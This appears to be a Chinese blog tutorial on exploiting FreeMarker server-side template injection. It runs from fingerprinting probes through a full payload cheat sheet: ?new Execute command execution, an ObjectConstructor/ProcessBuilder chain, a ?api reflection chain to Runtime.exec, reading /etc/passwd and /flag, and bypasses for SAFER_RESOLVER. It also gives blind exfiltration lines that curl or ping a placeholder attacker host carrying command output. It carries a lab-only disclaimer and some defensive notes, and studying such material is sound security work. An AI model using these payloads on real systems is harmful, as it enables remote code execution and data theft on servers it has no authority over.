Java 模板注入(FreeMarker)· 04 · 利用与绕过:payload 全集

本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。


1. 利用前的检查清单(先判断,再打)

拿到一个疑似 SSTI 的点,按顺序问自己:

# 问题 影响
1 用户输入进入模板的哪个位置 ?(整个模板 / 拼接 / ?interpret / ?eval / 数据模型) 决定能写多少语法
2 FreeMarker 版本 是多少?(${.version} 可回显) 决定默认防护
3 ?new 的类解析器是否被限制?(SAFER / ALLOWS_NOTHING 决定 Execute 能否直接用
4 ?api 是否开启?成员访问策略是否默认? 决定 ?api 路线可行性
5 是否有回显?(错误堆栈、响应内容、DNS/HTTP 外带) 决定怎么拿结果
6 数据模型里有没有可利用的对象?(POJO、MapList 决定"无 ?new"时能否打

怎么快速回显版本?

FreeMarker 有特殊变量 .version${.version} 会输出类似 2.3.35。这是识别版本最直接的方法。靶场实测:/vuln/direct?tpl=${.version}2.3.35

为什么我的 payload 在本地复现不了?

检查三件事:版本${.version})、?new 是否被限制用户输入进入的位置是否真的可控。三者任一不同,payload 就可能失效。别怀疑 payload 本身,先确认环境上下文。
CTF 里怎么快速判断该用哪个 payload?

${7*7} 确认,再 ${.version} 看版本;然后直接试 ?new Execute。若被拦(报 not allowed ... security reasons),说明用了 SAFER/ALLOWS_NOTHING,转向 ?interpret/?eval/数据模型方法/?api 路线,或寻找 classpath 上的自定义 TemplateModel gadget。


2. 第一步:探测与指纹识别

2.1 最简单的探针

复制代码
${7*7}
  • 返回 49 → 服务端执行了 → 极可能 SSTI。

  • 原样返回 ${7*7} → 可能是数据渲染(安全)或前端模板。

2.2 区分"服务端执行"与"前端/其它引擎"

复制代码
${7*7}         -> 49       FreeMarker、JSP EL 等多数 ${} 引擎都支持
#{7*7}         -> 49       FreeMarker 也支持(数值插值 #{}),不是它独有
{{7*7}}        -> 49       Jinja2 / Twig / Vue 等;FreeMarker 会原样输出 {{7*7}}
${"z"+"z"}     -> zz       FreeMarker 字符串拼接用 +
${7*"7"}       -> 报错      FreeMarker 不做字符串→数字隐式转换
${'7'?number}  -> 7        FreeMarker 用 ?number 显式转换
  • {``{7*7}} 在 FreeMarker 里不会执行 (靶场实测:原样输出 {``{7*7}}),可作为"排除 FreeMarker"的依据。

  • #{7*7} 在 FreeMarker 里也会输出 49#{} 是它的数值插值语法),别拿它当"非 FreeMarker"的特征。

  • FreeMarker 字符串拼接用 +(不是 ~~ 是 Thymeleaf)。

  • ${7*"7"} 在 FreeMarker 抛 ParseExceptionExpecting: number),可作为 FreeMarker 特征之一。

  • 最直接的还是 ${.version},命中即坐实。

为什么不能只凭一个 payload 判断引擎?

因为很多语法在多个引擎里"长得像、结果像"(比如 ${7*7})。正确做法是组合多个特征${} / #{} / {``{}} / 字符串拼接符 / 报错信息),再结合 ${.version} 这类引擎专属变量下结论。
为什么先探 ${7*7} 而不是直接上 Execute

一是不打草惊蛇(有的 WAF/日志会对 ExecuteRuntime 告警);二是先确认"是服务端执行"再决定后续,避免误报。
${.version} 报错怎么办?

可能该位置不允许特殊变量,或被过滤。可以改用行为差异判断版本:比如测试 ?api 是否可用、?new Execute 是否被拦、报错信息里是否出现版本号。
${7*7} 返回 49,但 <#assign> 报语法错误,为什么?

说明该位置可能只允许"表达式 "(例如 ?eval 场景),不允许完整指令。此时改用表达式形式 的 payload:"freemarker.template.utility.Execute"?new()("id")


3. 核心武器一:?new 实例化危险类

前提:?new 的解析器未被限制(2.3.x 默认 UNRESTRICTED_RESOLVER),且用户输入能写 <#assign>/表达式。

3.1 freemarker.template.utility.Execute(最常用,直接回显)

payload:

复制代码
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

靶场实测(/vuln/direct/vuln/concat/vuln/interpret/vuln/eval 均可):

复制代码
uid=0(root) gid=0(root) groups=0(root)

读文件 / 任意命令:

复制代码
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /flag")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("uname -a")}

特点: Execute 实现了 TemplateMethodModel,调用它 = 执行命令并返回输出。有回显,最省事。

Execute

freemarker.template.utility.ExecuteFreeMarker 自带的 Java 工具类 ,包在 freemarker.jar 里,作用:用来直接调用服务器操作系统命令FreeMarker

核心特性

  1. 实现了接口 TemplateMethodModel,满足 Freemarker ?new() 实例化的要求,模板里拿到实例之后,**可以像函数一样直接加括号调用 ex("cmd")**FreeMarker
  2. 里面有核心方法 exec(List arguments)
    • 底层封装 ProcessBuilder,去创建操作系统子进程
    • 接收命令字符串,执行系统命令,捕获标准输出 stdout,返回给模板渲染输出
    • 简单理解:Execute 就是 Freemarker 内置的 "命令执行器"

Execute 能执行带管道/重定向的命令吗(如 id | base64id > /tmp/x)?

不能。 Execute 源码里是 Runtime.getRuntime().exec(String),它把字符串按空格 拆成"程序 + 参数"直接运行,不经过 shell 。所以 |>、`````、;&&、通配符都不会被解释。靶场实测:

  • ex("id | base64") → 空输出(| 被当成普通参数,id 因多余参数报错,而 stderr 不返回);

  • ex("echo hi > /tmp/x") → 输出 hi > /tmp/x,文件没有 被创建。想要 shell 特性,改用 ObjectConstructor + ProcessBuilder["sh","-c","..."](列表形式,不受空格拆分影响),见 3.2。简单命令(idcat /flaguname -a)用 Execute 完全没问题。

为什么有的 payload 写成 <#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

只是变量名不同(ex / value / cmd),效果一样。变量名可任意取。
payload 里的引号和转义很头疼怎么办?

  • 模板里字符串用双引号;命令里需要引号时,尽量用 sh -c "..." 或在 FTL 里用 \" 转义。

  • URL 传输时用 curl --data-urlencode,让 curl 帮你编码,不要手写 %xx

  • 遇到空格/特殊字符,可用 ${"a"+"b"} 拼接或 base64 绕过过滤。

3.2 freemarker.template.utility.ObjectConstructor(构造任意类)

ObjectConstructor 的语义是"按类名构造一个对象",不受 TemplateModel 限制 (它能构造任意类)。语法:oc("全限定类名", 构造参数1, 构造参数2, ...)

构造一个字符串:

复制代码
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
${oc("java.lang.String","hello")}
# => hello

构造 ProcessBuilder 并执行命令(有回显,靶场实测):

复制代码
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","id"])>
<#assign p=pb.start()>
<#assign isr=oc("java.io.InputStreamReader",p.getInputStream())>
<#assign br=oc("java.io.BufferedReader",isr)>
${br.readLine()}

实测输出:

复制代码
uid=0(root) gid=0(root) groups=0(root)

/flag:把 ["sh","-c","id"] 换成 ["sh","-c","cat /flag"] 即可。

为什么这条链能成?

  • ObjectConstructor 能构造 ProcessBuilder(不是 TemplateModel 也没关系);

  • pb.start()ProcessBuilder 的实例方法,默认成员访问策略没有拉黑 ProcessBuilder (拉黑的是 Runtime.getRuntime/exec);

  • InputStreamReaderBufferedReader 也都不是集合,方法可直接调用,最后 readLine() 拿到输出。这条链非常"干净",不依赖 ?api,只依赖 ?new

ExecuteObjectConstructor 该用哪个?

优先 Execute:简单、有回显、一行搞定。当 Execute 被拦(SAFER)时,ObjectConstructor 通常也被拦。

真正需要 ObjectConstructor 的场景是:需要构造某个特定类来配合其它逻辑(如 ProcessBuilder + 流读取)。

3.3 freemarker.template.utility.JythonRuntime(需要 Jython 依赖)

复制代码
<#assign j="freemarker.template.utility.JythonRuntime"?new()>...
  • 该类允许在模板里执行 Jython(Python)代码,因此能 RCE。

  • 前提: 应用的 classpath 里有 Jython(org.python.*)。靶场没有引入 Jython,实测报错:java.lang.NoClassDefFoundError: org/p/python/util/PythonInterpreter

  • 现实中若目标集成了 Jython,这条链可用;否则忽略。

3.4 自定义 / 第三方 TemplateModel 类

如果目标 classpath 里存在实现了 TemplateModel 且行为危险 的类(例如某些模板插件、运维工具),?new 也能把它 new 出来。所以 SAFER_RESOLVER 只拉黑"已知三类",对自定义危险类无能为力(见第 7 节)。


4. 核心武器二:?interpret?eval

当代码里用了这两个内建且参数可控时,直接利用:

复制代码
<#assign t = payload?interpret><@t/>
${payload?eval}
  • 靶场 /vuln/interpret/vuln/eval 实测均可执行:

    复制代码
    tpl=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
    => uid=0(root) ...
  • 注意:?interpret/?eval 里再出现 ?new,仍然会走同一个 TemplateClassResolver 。也就是说,如果 ?new 被设为 SAFER,那么"通过 ?interpret?new Execute"同样会被拦。但 ?interpret/?eval 本身不受类解析器限制,所以它们依然能用来调用数据模型里已有对象的方法。


5. 核心武器三:?api + 反射链(进阶)

?api 让模板绕过"简化视图"直接调用 Java 方法。默认关闭 (2.3.22 起 api_builtin_enabled=false)。即使开发者打开了它,2.3.30+ 的默认成员访问策略也会拦掉一大批危险方法。

5.1 默认策略下:能调普通方法,调不了危险方法

靶场 /vuln/api?api 已开启,成员策略为默认):

复制代码
${list?api.getClass().getName()}
# => java.util.ArrayList          (可以)
​
${bean?api.getGreeting()}
# => hi from DemoBean             (可以,普通业务方法)
​
${bean?api.getClass().getClassLoader().getName()}
# => 模板处理失败                  (被拦!getClassLoader 在黑名单里)

5.2 关闭成员策略后:完整反射 RCE(靶场实测)

靶场 /vuln/api-unsafe?api 开启 + 成员策略换成"允许一切")的可用链:

复制代码
<#assign cl=bean?api.getClass().getClassLoader()>
<#assign rt=cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null)>
<#assign p=rt.exec("id")>
<#assign isc=cl.loadClass("java.io.InputStream")>
<#assign strc=cl.loadClass("java.lang.String")>
<#assign scClass=cl.loadClass("java.util.Scanner")>
<#assign sc=scClass.getConstructor([isc]).newInstance([p.getInputStream()])>
<#assign sc=scClass.getMethod("useDelimiter",[strc]).invoke(sc,["\\A"])>
<#assign out=scClass.getMethod("next",[]).invoke(sc,[])>${out}

实测输出:

复制代码
uid=0(root) gid=0(root) groups=0(root)

/flag:把 exec("id") 换成 exec("cat /flag")

为什么读输出要绕这么一大圈?

因为 Process 的输出流不能直接在模板里读。这里用 Scanner 读流;但 Scanner 实现了 Iterator,会被 FreeMarker 当成集合 ,导致 sc.useDelimiter(...) 这种"方法调用"报 NonHashException。于是改用反射 Method.invoke 绕开包装。这是实战中很典型的"小坑"。
为什么 getClassLoader() 一开始返回 null?

因为 ArrayList 是 JDK 核心类,由 Bootstrap ClassLoader 加载,getClassLoader() 返回 null。换成本应用的 POJO(靶场里的 bean,由 AppClassLoader 加载)后就有值了。实战中数据模型多为应用对象,所以这条链很现实。

5.3 ?api 路线小结

  • ?api 默认关闭 → 没开就别指望。

  • 开了但用默认成员策略(2.3.30+)→ 危险方法基本被拦,但普通方法仍可调用(信息泄露、逻辑绕过)。

  • 开了且成员策略被改成宽松(或版本 < 2.3.30)→ 完整反射 RCE。


6. 版本与安全时间线

版本 安全相关变化 对利用的影响
2.3.17 引入 TemplateClassResolver,可限制 ?new 的类 默认仍是 UNRESTRICTEDExecute 可用
2.3.22 引入 ?api,且默认 api_builtin_enabled=false ?api 默认不可用
2.3.30 引入可插拔的 MemberAccessPolicyDefaultMemberAccessPolicy,取代旧黑名单 把旧黑名单正式化,并新增 拉黑 Runtime.getRuntimeClassLoader.loadClassClass.getResource*Field.getURL.openConnection/openStream、大量 Thread/System 方法等
2.3.32 继续收紧(如 Package.getPackages 被拉黑) 细节绕过更难
2.3.35 继续收紧(如 System.getProperties 被拉黑) 当前最新稳定版
2.4.0(未发布) newBuiltinClassResolver 默认改为 SAFER_RESOLVER Execute/ObjectConstructor/JythonRuntime 默认被拦

权威依据:FreeMarker API 文档明确写道------"The default value is TemplateClassResolver.UNRESTRICTED_RESOLVER in FreeMarker 2.3.x, and TemplateClassResolver.SAFER_RESOLVER starting from FreeMarker 2.4.0." 以及 2.3.35 源码中的 DefaultMemberAccessPolicy-rules 文件(逐条标注 "Disallowed since 2.3.0 / 2.3.30 / 2.3.32 / 2.3.35")。
那些危险方法是 2.3.30 才开始被拦的吗?

不完全是。 FreeMarker 从很早(规则文件标注 "since 2.3.0 ")就有一套旧黑名单 ,已经拦了Runtime.execClass.forNameClass.getClassLoaderClass.newInstanceMethod.invokeConstructor.newInstanceField.set 等。

2.3.30 做的是把这套机制升级为可插拔的 MemberAccessPolicy,并追加 一批新条目(标注 "since 2.3.30"),例如Runtime.getRuntimeClassLoader.loadClassClass.getResource*Field.getURL.openConnection/openStreamThread.getStackTraceSystem.getSecurityManager 等。

所以更准确的说法是:危险方法一直被拦,2.3.30 让拦截更系统、更全面。
为什么 2.3.x 都到 2.3.35 了,Execute 还能用?

因为 FreeMarker 为了向后兼容 ,把"更安全的默认值"留给了大版本 2.4.0,而 2.3.x 只通过"成员访问策略"等新增可选项 来缓解。也就是说:2.3.x 默认配置下,?new Execute 依然是 RCE。


7. 当 ?new 被限制(SAFER / ALLOWS_NOTHING)时怎么办

7.1 SAFER_RESOLVER 到底拦了什么

SAFER_RESOLVER = UNRESTRICTED_RESOLVER 减去 三个类:ObjectConstructorExecuteJythonRuntime

靶场 /defense/safer 实测:

复制代码
tpl=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
=> 模板处理失败:
   Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

ObjectConstructor 同样被拦:

复制代码
Instantiating freemarker.template.utility.ObjectConstructor is not allowed in the template for security reasons.

7.2 SAFER 下还能怎么打(现实评估)

思路 是否可行 说明
?new Execute/ObjectConstructor/JythonRuntime 被明确拉黑
?new 其它类 有限 ?new 只能实例化 TemplateModel,普通类会报 does not implement TemplateModel;若 classpath 有自定义危险 TemplateModel 则可利用
?interpret / ?eval 仍然工作 但里面再 ?new Execute 仍会被同一解析器拦;可用于调用数据模型对象的方法
?api + 反射 取决于配置 ?api 默认关;开了且成员策略宽松才可 RCE
静态初始化副作用 理论可行 官方文档指出 ?new 会触发类的静态初始化,即使该类不实现 TemplateModel;可结合类路径上的 gadget
利用数据模型已有对象的方法 常见 例如模型里有 TemplateModel、有危险 getter 的 POJO,可链式调用

ALLOWS_NOTHING_RESOLVER 是不是就安全了?

它能禁止所有 ?new,但仍不禁止 ?interpret/?eval,也不禁止"调用数据模型对象的方法"。所以它是"更安全",不是"绝对安全"。根治仍然是"不让用户输入进模板"。

7.3 为什么 SAFER 不是银弹

  • 它只认三个"已知类名",不认行为 。换一个 classpath 上的自定义 TemplateModel 就可能绕过。

  • 它管不到 ?interpret/?eval已有对象方法的调用。

  • 它管不到 ?api 路线(若被开启且策略宽松)。


8. Payload 速查表

以下均假设 ?new 未被限制(2.3.x 默认),且用户输入可写模板语法。

探测

复制代码
${7*7}
${.version}
${"z"+"z"}

Execute(推荐,有回显)

复制代码
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c 'id > /tmp/x'")}

ObjectConstructor(构造任意类 + 回显)

复制代码
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()><#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","id"])><#assign p=pb.start()><#assign isr=oc("java.io.InputStreamReader",p.getInputStream())><#assign br=oc("java.io.BufferedReader",isr)>${br.readLine()}

?eval 表达式版(模板为 ${payload?eval} 时,payload 就是下面这段表达式)

复制代码
"freemarker.template.utility.Execute"?new()("id")

若该位置本身已经处在 ${...} 插值里(即 ${用户输入}),则写完整表达式:${"freemarker.template.utility.Execute"?new()("id")}

?api 反射链(需 ?api 开启且成员策略宽松)

复制代码
<#assign cl=bean?api.getClass().getClassLoader()><#assign rt=cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null)><#assign p=rt.exec("id")><#assign isc=cl.loadClass("java.io.InputStream")><#assign strc=cl.loadClass("java.lang.String")><#assign scClass=cl.loadClass("java.util.Scanner")><#assign sc=scClass.getConstructor([isc]).newInstance([p.getInputStream()])><#assign sc=scClass.getMethod("useDelimiter",[strc]).invoke(sc,["\\A"])><#assign out=scClass.getMethod("next",[]).invoke(sc,[])>${out}

无回显时(盲打 / 外带)

Execute 不走 shell,不能|、````` 做命令替换,所以盲打要用 ObjectConstructor + ProcessBuildersh -c 形式:

复制代码
<#-- 把 id 结果 base64 后外带到你的 HTTP 服务器 -->
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","curl http://你的vps/$(id|base64)"])>
<#assign p=pb.start()>sent
​
<#-- DNS 外带:把主机名/用户名拼进域名 -->
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","ping -c 1 $(whoami).你的域名"])>
<#assign p=pb.start()>sent

为什么盲打要用 sh -c,不直接用 Execute

因为 Execute 内部是 Runtime.exec(String)不经过 shell|$()、````` 都不生效(见 3.1 实测)。而 ProcessBuilder 接收的是列表 ["sh","-c","..."],由 sh 解释整条命令,所以管道、命令替换、重定向都能用。id|base64 是为了把结果里的空格/特殊字符编码成 URL 安全的形式,方便通过 HTTP 路径外带。


9. 本篇小结

  1. 先探 ${7*7}${.version},确认服务端执行 + 版本。

  2. ?new Execute 是首选(2.3.x 默认可用,直接回显)。

  3. ObjectConstructor 能构造任意类,ProcessBuilder + BufferedReader 可做干净回显。

  4. ?interpret/?eval 是独立入口,不受类解析器限制,但内部 ?new 仍受限。

  5. ?api 默认关;2.3.30+ 默认成员策略拉黑大量危险方法,除非策略被放宽。

  6. SAFER_RESOLVER 只拦三个已知类,不是银弹;ALLOWS_NOTHING 更强但仍管不住 ?interpret/?eval 和数据模型方法。

  7. 永远记住:根因是"用户输入进模板",payload 只是它的表现形式。

相关推荐
leikooo1 小时前
ARTS 0913: 双栈互补实现队列、CIDR 聚合化解路由膨胀与 AI 作弊串通绝非偶然 Bug
java·链表·个人开发
星间都市山脉2 小时前
Android16 SystemService.onBootPhase 调用时机
android·java·linux·windows·ubuntu
深入云栈2 小时前
Netty 4.2.x 源码深度解析 (十三):Epoll 传输 —— Linux 高性能 IO 的 Netty 实现
java·后端
ynchyong2 小时前
Linux nohup 后台服务合并标准错误输出到一个文件
java·linux·运维
用户3126874877202 小时前
Lombok 的 @Data 到底怎么工作的?Java 注解处理器实战全链路拆解
java
小羊没烦恼!2 小时前
Memory 记忆设计讨论:为什么 Agent Memory 不能只靠向量数据库?
java·开发语言·windows·算法·c#
天远API2 小时前
零信任架构实战:基于天远单人婚姻查询构建自动化联合贷款审计网关
java·人工智能·架构·自动化
九皇叔叔2 小时前
从本地事务到分布式事务
java·分布式·分布式事务·cap·base
黑马程序员毕设3 小时前
基于微信小程序的节目活动报名与管理系统设计与实现
java·开发语言·spring boot·后端·电脑